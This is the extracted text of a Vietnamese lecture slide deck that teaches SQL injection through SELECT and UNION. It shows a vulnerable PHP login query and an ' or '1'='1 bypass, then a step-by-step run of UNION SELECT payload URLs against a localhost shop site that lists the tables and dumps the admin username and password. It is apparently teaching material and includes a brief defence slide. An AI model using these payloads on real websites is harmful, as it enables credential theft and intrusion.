Nguyễn Danh Thanh TẤN CÔNG SQL INJECTION QUA CÂU LỆNH SELECT, UNION... • Thông báo lỗi của hệ quản trị CSDL– Mysql_fetch_array; – Database query failed… – You have an error in your SQL
Trang 1Nguyễn Danh Thanh
TẤN CÔNG SQL INJECTION QUA
CÂU LỆNH SELECT, UNION
Trang 3Mục đích tấn công
• Đánh cắp dữ liệu từ web server
• Thay đổi dữ liệu
• Deface website
• Backdoor
Trang 5Cơ chế tấn công
Trang 6• Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào
<form action="" method="post">
Tài khoản : <input type="text" name=“user">
Mật khẩu : <input type="password" name=“pass">
<input type="submit“ value=“Đăng nhập”>
</form>
<?php
$user= $_POST [‘user’];
$pass= $_POST [‘pass’];
$sql=“ SELECT * FROM tbl_user WHERE
user =‘$user’ && pass =‘$pass’”;
$query= mysql_query ($sql);
Trang 7$sql=“ SELECT * FROM tbl_user WHERE
user=‘0’ or ‘1’=‘1’ ’ &&
pass =‘123456’”;
Trang 8• Thông báo lỗi của hệ quản trị CSDL
– Mysql_fetch_array();
– Database query failed…
– You have an error in your SQL systax…
Trang 11• Các bước tấn công sử dụng lệnh union select
– Kiểm tra lỗi sql injection.
– Tìm số cột mà câu truy vấn tạo ra.
– Tìm cột chứa thông tin có thể khai thác được.
– Xem phiên bản của CSDL và ngôn ngữ lập trình – Xác định tên bảng chứa thông tin người quản trị – Xác định tài khoản/mật khẩu của quản trị.
– Truy cập vào phần giành cho quản trị viên.
Trang 13Cách phòng chống
• Phòng chống từ mức xây dựng mã nguồn ứng dụng
– Backlist
• Bảo vệ từ mức nền tảng của hệ thống
Trang 16Mục tiêu tấn công
Trang 18Tìm số cột mà câu truy vấn SQL tạo ra
http://localhost/maytinh/?frame=product_detail&id=289 order by 15
Trang 19-Xác định vị trí xảy ra lỗi
http://localhost/maytinh/?frame=product_detail&id=-289 union select
Trang 20
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 Xác định phiên bản ngôn ngữ lập trình
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5, version(), 7,8,9,10,11,12,13,14,15
Trang 21Xác định tên các bảng trong CSDL
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('\n', table_name ))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
Trang 22Xác đinh các cột trong bảng tbl_user
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('\n', column_name ))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572
Trang 23Xác định thông tin username, password của Admin
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat( id,0x7c,uid,0x7c,pwd ))),
7,8,9,10,11,12,13,14,15 from tbl_user
Trang 24Password: thietkewebx.net
Trang 25Tìm đường dẫn trang quản trị Localhost/maytinh/admin